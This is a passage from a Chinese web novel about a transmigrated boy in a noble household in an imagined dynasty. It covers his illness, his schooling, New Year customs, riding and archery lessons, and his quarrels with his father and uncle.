孙大夫也起身道:“二郎君已经风寒入体,先开药让他赶紧服下,然后我再施针稳住病情,现在需得立即降温。只是二郎君病势凶猛,恐有反复,身旁片刻离不得人。”
王锦娘听了这话忍不住哭起来,封简宁被这哭声扰得心烦,“你别哭了!真是让人心烦,再哭出去哭!”
老太太忍了又忍,还是没忍住,气的一杖打在长子身上,骂道:“二郎要是有个好歹,我只和你算账!”
大娘子也埋怨,“夫君也真是的,你又不是不知道二郎的脾性,这寒天冻地的就对孩子动手!”
大娘子的话像是开了闸,老太太继续骂着:“二郎不过是打碎了一个炕屏罢了,又不是故意的,难不成你儿子的性命还抵不过一个物件!再说孩子也知道错,还主动赔了,我看你就是借题发挥!滚滚滚,快滚去上衙,我看见你就烦!”
封简宁觉得自己很委屈,老太太给安家准备的礼被次子打碎了,自己也只是想让儿子长个教训,结果竟闹了这一出,不过他到底担心,出门前对李妈妈和王锦娘嘱咐,“你们二人就守在二郎身边,时刻注意,若是退烧了就让大娘子派人给我说一声。”
“是,世子爷。”
老太太看向孙大夫道:“这两天最要紧,你就守在二郎身边照应着。”孙大夫认真地应了。
自古幼儿难养,所有人都担心高烧会烧坏脑子,更担心一场风寒会要了二郎的命。
眼见中午,封砚初身上的烧终于退了,就在众人松了一口气,老太太和大娘子拖着疲惫回去后,谁知半夜又烧起来了。
幸亏王锦娘和李妈妈一直在旁边照看着,及时发现,就这样一番折腾,直到凌晨才好些。
封砚初这次风寒,可是吓坏了众人。几次反复,封简宁也万分愧疚,深责自己不该动手吓儿子,否则又怎么会有这场风寒。几天后,二郎风寒渐好,只是还有些流鼻涕,他也终于放心下来。
封砚初觉得自己已经好的差不多了,只是流鼻涕罢了,但众人十分紧张,尤其是大娘子还特意嘱咐李妈妈,一定要盯住他,不许出门,就连学堂也不许去。
因为前几日大人吩咐不许打扰,所以自从好些以后,孩子们都陆陆续续地来看望。
这可把三郎羡慕的够呛,有一次趁乳母没留意,甚至故意脱了外衣跑去外面,结果挨了张姨娘几巴掌。来看望他时,脸上甚至还挂着眼泪。
“二哥,我姨娘打我了。”
他问清原因只说了句,“你这是活该!”
三郎简直不敢相信这句话是从他最喜欢的二哥嘴里说出来的,“二哥,你就好了,不用上学,可我也是因为不想上学,才想了这个办法,都挨打了,你还说我。”
“你只想着生病,那是想喝中药,想被孙大夫用针扎吗?”
“啊?还要扎针吃药?那还算了吧。”小孩子就是这样,方才还伤心,这会就好了,同时也将二哥说他活该的话,忘到脑勺后头去了,现在又开始说说笑笑起来。
临走时,三郎已经不羡慕了,他觉得二哥虽然不用上学,但是每天都要喝那苦的要命的汤汁子,完了还挥手学大人说话,“二哥,那你好好养着。”
大郎来的时候,是带了功课来的,“二郎,杨先生说了,你虽然病着,但功课不能落下,这是先生布置给你的,我帮你抄录下来了,你一定要记得写,复课后可是要查的。”
封砚初艰难地笑了笑,他还以为这几日可以安心地誊抄那几本书呢,看着对方兴冲冲的样子,也只能说,“多谢大哥帮我送来。”
大郎信以为真,他觉得这是自己作为长兄应该做的,“杨先生要是还有什么吩咐,我会给你说的。”
紧接着是长姐封砚敏,然后是四弟封砚安和二妹封砚婉,明显四郎是被他姨娘硬推着来的,就连说出来的话都是教他的。
其实四郎不想来的主要原因是,封砚初这里时不时就会有祖母,大娘子,以及父亲前来,甚至老侯爷还来过一次,他素来胆子小,担心碰上他们。
就这样的日子过了一个月,封砚初才被放出来去学堂。正好这天朝廷休沐,他去请安时祖父与父亲也在老太太那里。
问了安,老太太便将他拉到跟前上下打量,转头对大娘子道:“二郎瘦了,这次生病遭罪,吩咐孙大夫开个食补的方子,让厨房每日做给他吃。”
大娘子点头道:“儿媳前儿就吩咐下去了。”
封简宁看着儿子圆润的脸蛋,丝毫没发现哪里瘦了,正要顺手将人拉过来看看,顺带说几句话。
没想到封砚初见势竟然躲开了,还用眼睛悄悄瞟了他一眼,露出害怕挨打的样子,气的要发火。
就被老太太一把将人搂进怀里,骂道:“在我跟前还想动手?”
封简宁有口难言,被冤枉的憋屈,“母亲,儿子没想动手。”
“那你伸手做什么?看把二郎吓的。”老太太根本不信,以为儿子找借口。
大娘子掩了掩嘴角,“夫君也别怪二郎,也是因为你总打他,他这才害怕你。”
封砚初火上浇油道:“祖母,不怪父亲,是孙儿误会了,以为父亲想让孙儿补上。”
“小兔崽子!你……”
“好啦,孩子还要上学呢,以后没我命令谁都不许对二郎动手!”老太太说完便吩咐二郎上学。
封砚初听到这话硬生生忍住,直到出了老太太的院子,这才露出奸计得逞的表情。
整个过程被老侯爷看的一清二楚,混迹官场多年的他自然明白。也不怪其他人,只是谁能想到一个小孩子竟然敢算计自己的父亲,还顺势小小地报复了一下。
“母亲,你休要被那兔崽子骗了,他分明是装的!”
老太太眼睛一瞪,“休要胡说,二郎才几岁,能知道这些,我看分明是你平时对他动辄打骂,孩子这是怕你了!”
“父亲,你说说这孩子是不是故意的?”封简宁见与母亲说不通,便看向老侯爷。
老侯爷摸着胡子哈哈笑道:“终归是因为你要打二郎,他为了躲这才染了风寒,你这个做父亲的,大度一些,就别与孩子计较了。”
老太太也反应过来了,不可置信道:“二郎是故意的?”
“你以为呢?这孩子生气简宁打他,方才顺势势弱让你护着,还让简宁挨了一通骂。”老侯爷点明了刚刚的情形。
“什么?他还这么小?”大娘子是惊到了,同时心想看来以后对这孩子要更加关心注意才行。
“没想到这兔崽子竟还有报复心。”这会儿封简宁已经不生气了,相反隐隐有些骄傲。
第十四章 唉,真是半点不得自由
“二郎,你来上学啦!”
“二哥,二哥!”
孩子们对封砚初重新上学表示很欢迎,他也高兴的挥了挥手,仿佛领导视察一般,“大家好!”
就在他还准备再说些什么的时候,杨旭升进来了,“二郎君,来的这么迟,还不快坐好!你有一个月没来学堂了,比别人差了那么多,不赶紧拿出书温习,还在这显摆……”
封砚初一听这话,立即坐到位子上垂头翻开书。开讲时,果然进度比旁人慢了许多。
等到下学,就在他要离开之时,被杨先生叫住,“二郎君等一等,才下学就想跑,也不看你比别人慢多少?过来将书翻开,我来给你讲一遍……”
他虽然很感激杨先生,但没有一个学生喜欢被留堂。
‘咚!’他捂着被敲地有些疼的额头,抬头看去。
杨先生怒目而视,“我这是用自己休息的时间给你温书,竟还敢走神!”
“先生,我错了。”
“哼,认错倒是快!继续!”
封砚敏下学回去,正巧碰见母亲叫来李妈妈问话。
“二郎虽淘气些,可毕竟年岁小,再则男孩子都是一样的,你是他的乳母,平日里多查问查问,夜里也要仔细些,别再不小心着了风寒。”
“是,大娘子,奴婢必定谨记。”
大娘子的语气软了几分,“我知道这一个月来你们辛苦,可今儿早上老太太还问起二郎的餐饮吃食,如今每日的牛乳他可喝了?”
“每晚奴婢都会盯着二郎君喝的。”李妈妈这一个月也确实辛苦,连家也没回去过几次。
“嗯,那就好,老太太也是担心二郎体弱,你们上下需得上心。”
“是!”
掌家就要赏罚分明,大娘子又道:“半夏!回头给账房说一声,给伺候二郎的下人多发一个月的月钱,就当赏她们的辛苦钱。”李妈妈听了这话,连忙拜谢。
等李妈妈离开后,封砚敏这才说道:“祖母觉得二郎体弱?我今儿瞧他挺好的。”
大娘子试了试女儿手上的温度,依旧暖烘烘的,“毕竟感染了风寒,内里还是要养一养的。”
封砚敏皱眉道:“还要养?他再养下去就和明弟一样了。”
封砚明因为早产,生下来就体弱,再加上是二叔封简言与婶娘温氏唯一的儿子,为了好养活,所以并未按封家二郎的排序,而且只叫小名,直到五岁后才给取了封砚明。
“净胡说,仔细你婶娘知道。那孩子生下来瘦瘦小小的,还不是你婶娘养的好,如今胖乎乎的多健康。”大娘子说到这里话音一转,“再说咱家无论是你祖父,祖母,还是你父亲对二郎很重视,所以以后这样的话不许说。”
封砚敏十分感兴趣,凑近问道:“那和大郎比起来呢?”
“不一样。”然后便将今早发生的事情说了一遍。
“啊!父亲没生气吗?”封砚敏十分震惊于二弟的胆大,竟敢公然给父亲使绊子!
“你父亲不仅没生气,还很高兴呢。”然后看向女儿,“你以后可要担当起姐姐的责任,听到了没?”
封砚敏立即点头,“我一直很有长姐风范的。”
大娘子怜惜地抚着女儿的脸蛋,长舒一口气,“母亲只有你一个,将来侯府的门楣还要靠大郎和二郎支撑,你以后也得有兄弟帮扶,才不会被人欺负。”
“母亲~”封砚敏靠在大娘子怀里撒娇。
而回去后的封砚初直接瘫倒,苍天呐,大地呐,杨先生要把耽误的书全都给他补回来,在此期间他得一直留堂,而且还不能耽搁每日布置的功课,那他哪有时间誊抄啊!
冬日天暗得早,不知不觉间已到掌灯的时间。每次到这时候他就会放下书本玩一会儿,然后就被李妈妈催着睡觉。
今日也一样,只是玩来玩去他早就觉得这些游戏没意思,每到这时,他就分外想念手机,网络!
碧芳看出二郎君兴致不高,以为是今日被留堂的缘故,试探着开口,“郎君若是无趣,奴婢将前几日明郎君送来的陀螺拿出来,您抽一会陀螺玩如何?”
封砚初摇头否决了,这陀螺分明是堂兄得了个新的,然后借着探望的名义将旧的送来,他本来就不喜欢抽陀螺。
就在他还没继续郁闷下去,李妈妈端着牛乳进来,“二郎,喝了牛乳,洗洗也该睡了。”
这牛乳是他生病后,大娘子特意让人加进食谱的,还嘱咐李妈妈每日盯着他饮尽。
次日,还是在李妈妈的呼唤中清醒。当他突发奇想坐在铜镜前仔细打量自己时,发现一件悲痛的事情。
他什么时候变得这么胖了?
昨日祖母不是说他瘦了吗?
“啊!”
这一声叫喊吓坏了碧芳,“郎君怎么了?可是奴婢哪里不小心?”
李妈妈也闻声进来,“怎么了?怎么了?”
“我什么时候这么胖了?”封砚初用震惊的眼神看向李妈妈。
“胡说,哪里胖了?这多好啊,百姓家的孩子想这样胖乎乎的,还不能够呢!”李妈妈立即反驳。
碧芳发现不是自己的问题,也附和着,“就是,郎君根本不胖,这叫健康!”
早饭,他想少吃一些,结果被李妈妈发现,“二郎,你莫不是想节食?”
看着对方的眼神,他下意识地摇了摇头,“没有,怎么可能。”因为他知道在古代人眼里,小孩子胖乎乎的才是最好,要是被别人知道他想节食瘦下来,那才让大家担心。
李妈妈这才松了一口气,“那就好,小孩子家家节什么食。”说罢还给他夹了一个豆皮包子。
看来节食这条路走不通,他将视线放入那几本武功秘籍上,也许这是一个法子。
只是他的风寒才好,运动肯定要出汗,别说现在还是冬天,更容易着风,以他对李妈妈的了解,肯定不允许。
白日要上课,晚上那么多人看着。况且现在年龄小,根本不可能让他一个人睡,晚上守夜的不是碧芳就是李妈妈,她们俩个虽然睡在外间的榻上,可晚上很警醒,而他第二天还要上学。
他有个风吹草动,李妈妈肯定要告诉大娘子。
唉,真是半点不得自由!
思来想去,没找到解决的办法,看来今年冬天是别想了,只能等来年再说!
第十五章 我竟是爷爷辈
过了腊月二十六,学堂终于放假了,这是封砚初在古代过的第一个年。
说实话,虽然侯府富贵,但过年的氛围还是比现代浓烈不少。与现代不同,古代即使在富贵人家,过年的好多东西也要制作,因为家家户户都一样,没有成品。
“哦!终于放年假了!”三郎最兴奋,他已经暂时忘记了杨先生布置的课业,“若是能放假,我希望天天过年!”
“胡说什么呢!”大郎虽然心里也高兴,但没有如此地得意忘形,“要是传到父亲耳中,岂不是要挨打?”
“哦,我知道了。”三郎说完还捂着嘴偷偷笑,像个偷腥成功的猫。
封砚初对于放假也很高兴,没有人喜欢天天上学,不过他更关心今年可以收到多少压岁钱,空余时间可以多抄一些书。
这几日,侯府上下都很忙碌,尤其是大娘子,她要统管一切。好在大晟朝与前朝不同,大年初一并不需要官员与家眷进宫宴饮谢恩。
这还是太宗时就定下的规矩,觉得忙碌了一年,过年是好好休息的时候,更何况除夕需祭祖守岁,次日还要进宫,那是受罪而非施恩。
其实底下的官员都觉得,当年太宗每日都要面对朝臣十分厌烦,这才找了个借口躲清闲。
封砚初回去后,就尝试将其余人赶出书房,“李妈妈,我要写先生布置的课业,你们都出去吧。”
以李妈妈对他的了解,觉得这是想将其他人赶出去,好一个人在房间偷摸干个什么事,怎么可能答应,万一出事,上面的主子可饶不了她们,便拒绝了。
“二郎,就让碧芳留下来,好歹有个人给你研墨,添火,再说她在旁边绣东西,不会打扰你写字。”
封砚初深叹一口气,有些垂眉耷眼,“那就让碧芳留下吧。”李妈妈临出门还朝碧芳偷偷使了个眼色,还以为他没看见呢。
试探没成功,他只能老老实实地誊抄意识里的那几本书,说来遗憾,为了不露馅,他抄的都是不含图案的书。
不过为了之后能轻松一些,他还是提前把杨先生布置的课业完成了,之后想做什么都随自己。
古代过年确实麻烦,他一个小孩子,就做了好几件衣裳,出门的,见客的,祭祖的,日常的等等。
除夕这日祭祖,他才算是第一次真正的见到封氏族人,赫赫扬扬地足足有二百多人,就这还是剔除了五服之外的,否则只会更多。
他虽然年幼,但是祭祖还是要参加的,因为父亲是世子的缘故,他站得还挺靠前。
封家祠堂的位置是在侯府外院,靠西的位置单另辟出来,又在此处开了一扇门,封氏族人可以从此门进出。
刚进来没多久,就看见周围人互相打招呼行礼。他是小孩,又都不认识,所以谁也没搭理,只是没走出两步,就有人主动上前打招呼。
“二叔好!”
“给二叔请安。”
“二爷爷好!”
“我竟是爷爷辈?”大郎拉着一脸懵逼的封砚初继续往里走,站到自己该站的位置,并小声嘱咐其他孩子,“你们快跟上来!”
此次祭祖,老侯爷是主祭,世子封简宁陪祭,献帛的是大郎封砚开,一水的长房长子。然后是传菜,接着再按照顺序跪好祭拜,最后才算结束。整个过程中封砚初只是谢谢参与,有他没他无甚区别。
之后的环节他兴趣不大,直到夜幕降临,全家一起吃饭守岁过除夕。
这也就是富贵人家与普通老百姓的区别了,普通老百姓只有在过年时才能吃顿好的。
武安侯府过年准备的菜肴十分丰盛,什么炸笋鸡汤、金玉羹、水晶脍、酒酿清蒸鸭子、五色饺子、八宝鱼蓉等等,但这些东西素日想吃也是可以吃到的。所以除了封砚明以外,对于其他人而言吸引力也就那样。
老太太看到封砚初吃的并不多,关心道:“可是哪不舒服,怎么吃的这么少?”
他摸了摸自己的肚子,吃的不少啊,“祖母,我吃的挺多的。”
大娘子却狐疑地看过来,“二郎,你莫不是节食?”
“节食?节什么食?”封简宁将话收入耳内。
“前俩月,我听李妈妈说二郎觉得自己胖了。”没错,自从大娘子关注封砚初以后,她叫李妈妈的频率直线上升。这就是小孩子的无奈,丝毫没有隐私,没有话语权。
“胖胖的多好啊,你瞧明儿就很好。”婶娘温氏听了这话拿儿子举例,在她心里孩子胖胖的才健康。
封砚明一边埋头苦干,一边说道:“吃东西多好啊,我就喜欢吃东西。”
封砚初觉得自己被公开处刑,竟然有些尴尬,于是赶紧圆场,“你们误会了,我今夜吃的不少,只是现在时候不早了,我担心夜里睡觉积食。”
老太太这才松了一口气,她就是担心二郎体弱,再不好好吃饭岂不是更糟糕,“那就好。”
此时二叔却道:“要我看,这小子八成是惦记压岁钱了,之前不是要自己保管月钱吗?”
二叔这一打岔,众人都纷纷笑起来。
其实最期盼压岁钱的反而是三郎,因为他的钱全被张姨娘保管,手里没有一分钱。之前被外面的东西勾引出兴趣,到现在还没忘,他就盼着拿到压岁钱让人买些回来。
封砚初本着死道友不死贫道的想法,直接拉三郎下水,免得所有人都以为他掉钱眼里,“要我看,明明是三弟最期盼压岁钱,他的月钱都被张姨娘收起来了。”
封简宁还记得三儿子被小厮哄骗的情形,直接决定,“既如此,今年三郎的压岁钱依旧让他姨娘代为保管。”
三郎可怜兮兮的看着父亲,敢怒不敢言。封砚初见他可怜,给他嘴里塞了一块糕点,并且拍了拍背,“多吃点吧,心情会好一些。”
长辈们给的压岁钱还是很丰厚的。
老侯爷与老太太分别给了每人八两银币,封简宁与大娘子每人是五两,二叔与婶娘也一样。
如此算下来,每个孩子都可得三十六两的银币,这些钱普通人家可以生活一年半有余。封砚初的钱匣子依旧很空,只装了四分之一不到的样子。
第十六章 记吃不记打
封砚初没想到已经年后走亲访友了,大家对那场风寒依旧十分关注,着重点评了一下他的调皮,这让他越来越排斥出门,就连压岁钱也吸引不了。
就比如去唐家,大舅舅唐景就轻拍着他的肩膀,语重心长地教训着,“二郎,以后可不能如此调皮了,你着了风寒,可把全家折腾的不轻。”
小舅舅唐显也低头将拳头抵在唇边,努力地遏制着自己抖动的肩膀,“二郎啊,其实比起风寒,挨俩下也还划算。”
最后还是大舅母瞥见他都快将衣角搓破了,这才搂过去,抿嘴一笑,“你们都快住嘴吧,都将二郎说的不好意思起来。”
等去安家之时,他摇头死活不去。
“你竟知羞?”封简宁一个没忍住轻笑出声。
“父亲说的什么话?我虽年纪小,但也是要脸面的。”封砚初拧着眉仰头,眼睛紧紧盯着对方,语气中满是不快。
“这如何怨得着旁人,即是你自己做过的事,别人自然说得,再说长辈也是关切。”封简宁不以为意。
“他们那是调侃!”他说到此处不禁感慨,“唉,真是没一点隐私。”
“什么隐私?小孩子家家的,这么多事!”封简宁说话间挥手示意方恩将人带走。
还是大娘子回护,“好了,二郎不想去就不去了。”
比起被人拿在口头说笑,他宁可损失压岁钱,留在家里誊抄!
三郎却羡慕异常,只是父亲不肯带他出门。他甚至说,“若我能拿到压岁钱,被人说就说吧,不疼不痒的也不要紧。”
封砚初被弄的心烦,随便找了个借口挥手赶人,“去去去,我还要写功课呢。”
这话震惊到了三郎,他眼睛瞪的老大,嘴巴微张,“这大过年的,你竟然要写功课!”
封砚初眉毛微挑,磨墨的手略微一顿,扭头看去,“你别告诉我,你还没动笔?”
对方的沉默证实了这一点,“你还真没写啊,过几日复课杨先生是要检查的!”
三郎眼神游离不敢直视,忍不住舔了舔嘴唇,垂头丧气道:“过年这么开心,怎的还有功课,真真扫兴!”最后只能依依不舍的拜别,回去写功课。
他看着对方离去的背影,嘴角勾起一个很小的弧度,眼睛也微微弯了弯,哎呀,可算是哄回去了。
年后正式复课,杨先生不仅要检查功课,还查的十分仔细。大郎规规矩矩地完成了功课,基本上都能答上来;封砚初自然也顺利通过。四郎胆子小,完成的还不错,甚至还受到了表扬。
长姐封砚敏一向认真负责未出差错。只是杨先生到底是男子,觉得女子不用科考,读书不过是为了明礼,并不严格。
只有三郎的功课写地十分潦草,回答的也是磕磕绊绊,不尽如人意,在这个过程中,杨先生的眉头就没松开过,所以迎接他的只有手板。
放假时他有多快活,当下就有多伤心。在挨第一下之时,眼泪就没断过,低声抽泣,“先生,我错了,我再也不敢了!”
杨先生被气的不轻,呼哧呼哧喘着气,恨铁不成钢地指着对方的功课斥责,“你要是这种态度,还不如不写!没得浪费笔墨!你这是应付我吗?你这是在应付你自己!”
“给你十天时间,十天后我要你重新拿给我!能不能做到!”
三郎被这声音吓得一个激灵,他依旧眼中含泪,尽量低着头,嘴唇也因为之前的哭泣而颤抖,“能做到。”
他一直忍着,直到下了学,这才举着红肿的左手号啕大哭。
封砚初重重地拍了两下他的肩膀,轻叹一声,“你要是早点写,也不至于挨打。”
他虽然哭着,但还是扭头谢道:“二哥,谢谢你,要不是你提醒,我恐怕就忘记功课了,否则今日杨先生只会打的更重。”
大郎十分无语,但本着兄长的责任还是忍不住关心,“你怎么不把自己忘了?这回记住了吧?”
“我记住了,下次再也不会了。二哥,以后你记得早点提醒我,因为我担心自己到时又忘记了。”说他没反省吧,这次被打的嗷嗷叫还不忘嘱咐封砚初;说他反省了吧,可看样子依旧没将功课放在心上。
他回去后,张姨娘见儿子被打的红肿的手掌,既心疼,又气恼儿子记吃不记打。
她捧着儿子的手,一边轻轻抹药,一边骂着,“活该,我看你以后还敢不敢应付了?那椅子上有钉子不成,写个课业,一会饿了,一会渴了,一会要出恭,一会要解手,没个定性。”
“别看你二哥淘气,但课业从来没耽搁。我都听王姨娘说了,二郎写字的时候从来不用人催,每次都是李妈妈喊他,他才停笔……”
封砚池听姨娘嘴里一连串的夸赞,有些不乐意,怎的光贬他?一边嘶嘶地喊疼,一边道:“姨娘既觉得二哥好,怎么不让二哥做儿子!”
张姨娘气的戳了戳对方的额头,“我倒是想让他做儿子,可惜他是从王姨娘肠子里爬出来的,人家的母亲是侯府大娘子!没办法,谁让我生了你,只能认了!疼死活该,还不快去写课业!”
封砚池有些记吃不记打,他举着上过药的左手,“姨娘,我的手才上过药,过一会儿再写吧!”
“去!记吃不记打!仔细明日又要挨打!”
谁知他竟然有些高兴,眉开眼笑地咧嘴,“那正好将另一只手打肿,这样我就不用写字了?”
“你忘了你被打手板疼得哭了?”
“其实忍一忍也可以……”封砚池小声嘟囔着。
张姨娘太了解儿子了,她先是嗤笑一声,然后警告,“你要是再这样,我就告诉大娘子!或是世子爷!”
封砚池听了这话,肩膀一缩,大娘子或许不会管,但父亲知道后肯定会收拾他。
于是逃也似的坐到书桌前,“我这就去写!瑞雪,过来帮我磨墨!”
张姨娘见威胁起了作用,心情也好了些,“瑞雪,看着三郎,不许他要吃要喝的!”
“是,姨娘。”
第十七章 遛着玩
时间飞速流逝,春日的暖阳赶走了残冬的萧瑟,嫩绿仿佛一夜之间点缀了窗外,微风拂过,山间的桃花争相起舞。
封砚初脱下厚重的冬装,穿上今年新做的春衫,若是身后没有三郎的喋喋不休,他也许是心情最明朗的人。
“二哥,你难道不激动吗?明日咱们就要去京郊的庄子上学习骑术,到时候我定要在马上驰骋。”三郎说到激动处眉眼弯弯,咧着嘴笑个不停。
他回头用手指敲了敲对方的头,“你长的还没有马高,就想驰骋?我看明日最多让人牵着马遛一遛咱们。”
三郎眉头紧皱,“啊!怎么会呢?”
封砚初最期待的却不是骑马,他内心深处更想看一看京城热闹的街道,自他穿来快一年的时间,除了几次走亲戚,他从未踏出过侯府大门,自然也没见过外面的世界。
不过也仅是好奇罢了,他很清醒自己穿越到侯门富贵之家。也只有这样的出身,才会在读书之余,还有精力在其他方面教导孩子,比如琴、棋、绘画、马术等等。而普通人家每日为一日三餐奔波,别说学这些东西,读书都是奢望。
“陛下每年都会举行秋猎,凡京中四品以上的官员和勋贵会去,陛下仁德允许带家中子侄参加,将来你们也可能参加,所以不仅仅是骑术,射箭也得学习!从明日开始,每月都会安排两到三天去京郊庄子学习。”
这是刚才下学时,父亲封简宁突然到访后,告诉给几个孩子的。
“父亲,我可以去吗?”封砚敏目光炯炯,眼神发亮,期待地问向父亲。
就在封简宁准备以女孩子应该贞静为由拒绝时,封砚初却劝说父亲,让长姐同去。
“虽说如今大家都提倡女子应当贞静,可本朝太宗之女明畅长公主,不仅弓马娴熟,还习得一身好武艺,更是在六扇门为朝廷立下不少功劳。姐姐虽为女子,但心中也很钦佩明畅长公主,更何况咱们家是武安侯府,姐姐学习骑马射箭,正符合封家家风。”
此刻的封简宁,以往日不同的目光审视着眼前的次子,这番话从一个孩子嘴里说出来委实令人心惊。
严肃的神情,一时之间让封砚初有些紧张,“父亲?可是儿子哪里说的不对?”
良久,封简宁才喝了几口茶,清了清嗓子,有些嘶哑的嗓音清亮了许多,“那便依二郎所言,敏儿同去。”
“谢父亲,也谢谢二郎!”封砚敏笑得眼睛都弯了。
大郎封砚开却有些失落,他有些后悔自己没想到这一茬,竟让二郎抢了先。其实在他内心深处,仍然觉得女子就应该在家绣绣花,学好管家便可。这是年幼的他还未察觉到的思想,女子相夫教子才是正途!同时这也是当下时代几乎所有人都认可的道理。
虽然大娘子让女儿多亲近亲近大郎和二郎,只是从这之后,就连封砚敏自己都没意识到,她渐渐的与二郎更亲近一些。
“什么?当真如此?”大娘子没想到竟然是二郎提出的,她原先以为大郎会最先开口求情。
封砚敏点头肯定,“当真!当时二郎那番话一出口,别说杨先生,就连父亲都惊住了,所有人都没想到。”
大娘子鼓励女儿,“想去就去吧!不过既然你父亲同意了,那你就要好好学,向旁人证明你不比别人差!”
封砚敏认真承诺,“嗯,我一定会好好学!”
次日,让封砚初失望的是,武安侯府出城的马车并未经过街市,而是选择了一条宽敞便捷的路,直接从西门出去了。
封家的庄子上专门辟开一处空地,就是为了训练骑术。等这些孩子们到地方后,映入眼帘的是三匹健壮的马匹,他们正被马夫拉着在场地里漫步。
封砚初兴奋地问向一旁的二叔,“这就是我们练习用的马?可是也不够啊!”因为其他人都忙着,家里只有二叔是闲人,所以被安排带着孩子们学骑术。
“想的真美!”二叔指向另一边,“那些才是你们用来练习的马!”所有孩子顺着二叔手指的方向看去,竟然是半大的小马驹。
“啊~”几个孩子都很失望。
今日的骑术学习并未像大家想的那样风驰电掣,即使是小马驹,他们也是被人拉着在场上遛,用二叔的话说,“这一次重在体验。”
可封砚初严重怀疑,二叔并非真心教他们,只是看着别出意外就行。就在他觉得自己可以骑马小跑时,二叔不仅拒绝,还警告马夫不许松手,他就这么坐在马上,被人牵着遛了好几圈。
眼见二叔如此敷衍,他命令马夫停下,可马夫看向二叔竟犹豫起来,气的他直接跳下来。
“我的天爷呀,二郎你这是做什么?”原本还在树荫底下躺着的二叔惊地跳起来。
“做什么?二叔!你就是这么教我学骑马的?”封砚初拧着眉,疾步走近封简言,话里藏着火气。
封简言先是仔细查看了一番,见人无恙,甩锅道:“就是因为你这般调皮,我不放心这才让他们慢慢教你。”
他先是不客气的嗤笑一声,“罢了,既然二叔不是真心教,那我自己玩去。”语气轻描淡写,仿佛不在意。
说完也不理会二叔在身后呼喊,径直走向靶场,随手指向守在旁边的人,问道:“你会射箭吗?”
那人瞧着年岁不大,二十许,皮肤因为长时间暴晒,成古铜色;身上穿着藏青色的粗布衣裳,上面打着补丁,浆洗得十分干净。
那人闻声先是瞧了封砚初一眼,赶紧收回视线低着头,双手紧紧攥着衣襟,紧张道:“学过一些。”
“那好,你先教我!”
“是!”那人兴奋地点点头,随后在靶场找了一副小孩子用的弓箭,恭敬地递上去,“郎君年岁小,用这一副弓最合适。”
封砚初接过弓箭,拉弓试了试,随后满意地点头,“力度正合适,以后只要我来,你就教我射箭,教得好的话有赏!”
“是,郎君!”那人激动地回答。
就在封砚初学习射箭时,二叔踱步走来,声音里带着调侃,“哟,二郎这是不学骑马,改学射箭了?好好练,一定可以上靶的,也好,省的我担惊受怕。”
第十八章 我原谅你啦
回到武安侯府之后,封砚初就气冲冲的把二叔告了。
“祖父,父亲,还是换个人陪我们去庄子上吧!”
“怎么了?”
有了老侯爷这句话,他再也不忍了,“此次去练习骑术,二叔为了我们的安全着想,用的是小马驹,我非常感谢二叔,只是他也不能就这样把我们扔下不管,自己躺在躺椅上闭目养神。那些马夫不敢违背二叔的意思,硬生生拉着马遛了我们两日!”
“竟有此事?”封靖良虽然知道次子不靠谱,但没想到这么不靠谱。
“祖父也别觉得孙儿诓您,您只要一打听就知道了。”封砚初说完嘴唇抿成一条线,抬眼看向祖父的眼神丝毫不怵。
封简宁见儿子竟以卑告尊,眉心紧拧,出口便斥责,“混账,身为晚辈竟敢告长辈的状!我看你是想讨打!”
在古代晚辈状告长辈那可是大罪,除非涉及谋逆大罪可免,否则就是落到官府,那也要先挨上几十板子,才能递状纸,封砚初一个晚辈告二叔的状,这是大错,祖父都未必会包容。
他担心挨打,脑子里连忙搜索,把前世与今生看过的说了出来,“父亲此言差矣,《荀子?子道》有言,入孝出弟,人之小行也;从道不从君,从义不从父,人之大行也。《后汉书》更有,不谏之谓害,谏而不听谓之尸。儿子劝谏过二叔,二叔不以为意,儿子自然要将情况禀告祖父,这才是对祖父尽孝。”
封简宁指着次子怒骂,“就你的大道理多!”
老侯爷却注意到其他地方,“二郎,杨先生给你们教过《荀子》和《后汉书》了?”
封砚初这才发现自己一着急竟然将前世零零碎碎知道的只言片语说了出来。
他抿了抿嘴,心里盘算着万一一会儿祖父打他,要不要先跑为上?可祖父开口罚他,恐怕没人敢拦着,想到此处心里不免有些后悔,忘记身处古代,父亲即使打死儿子也不用赔命。
“还没学到。”
“那你如何知道的?是你自己主动看的?”封靖良心中隐隐期盼,难道孙儿知道主动学习了?
可到底让他失望了,封砚初摇头道:“许是日常从哪里听来的,无意中记下了。”
封靖良看着孙儿眨巴的眼睛,心中一软,“祖父知道了,下次就不让你二叔跟着了,去歇着吧。”
封砚初松了一口气,神情也不似方才那般紧张,脸上的笑容十分真诚,仿佛驱散了老侯爷因朝政而烦恼的心事。
“孙儿告退。”说完踏着轻快的脚步出去了,嘴里还哼着不成调的曲子。
“父亲,这孩子实在不像话,您怎么就饶了他呢?”封简宁有心趁机教训教训次子,免得将来调皮不知分寸,惹出大祸。
“你呀,还是太不了解你这个儿子了,别说我本就不会罚他,就单单冲着方才那番话,我就不可能处罚。再说本来就是你二弟不对,他当差当差不像样,只能领个虚职赋闲在家,现下竟然连这样的小事都敷衍,我没找他算账已经是宽宏大量了。”老侯爷对这个次子也是诸多不满。
直到第二次去的时候,所有孩子这才发现换人了,将二叔换成了封简宁身边的方恩。
“这次不是二叔和咱们一起吗?”
“二叔是身体不适吗?”
方恩没有说话,而是看了封砚初一眼,最先反应过来的是大郎,他震惊的嘴巴都差点合上了。
马车上,所有人都争相和封砚初坐一辆,最终只有封砚敏和封砚开成功。
“怎么回事?”刚上来,大郎就问道。
“是祖父的意思。”封砚初并未细说,毕竟告长辈的状不是什么好事。
“上次很没意思,今天我可要好好练!二郎,等练好了咱们去打猎!”封砚敏兴奋地说。
“好啊,好啊。”
封砚开转动眼珠偷偷瞥了一眼二郎,又转头看向长姐,神情中带着些许不赞同,“姐姐,你是女孩子,这样不太好吧。”说到此处或许觉得不妥,又道:“别到时候伤着就不好了。”
封砚敏没听出来,以为大郎觉得自己学不会骑术与射箭,怒目而视,“怎么可能?你学的会,我自然也学的会。”
封砚初听出大郎的意思,觉得他一个小孩子,思想就如同那些老学究一般,少不得要纠正,“大哥,姐姐虽是女孩子,可我并不认为她比旁人差,就拿上学来说,除了姐姐以外,咱们所有人都受过先生的批评和责罚。”
“那是因为先生觉得姐姐是女孩子,不用科考,要求不严罢了!”封砚开忍不住回嘴。
封砚敏也意识到大郎就是因为自己是女孩子,所以处处觉得比不上男孩,“你胡说!我字写的比你好,背书也比你快!”
“就拿琴课来说,我就不如大姐姐领悟的快,我承认她比我强,所以我不认为姐姐是女孩子,就比不上咱们。”
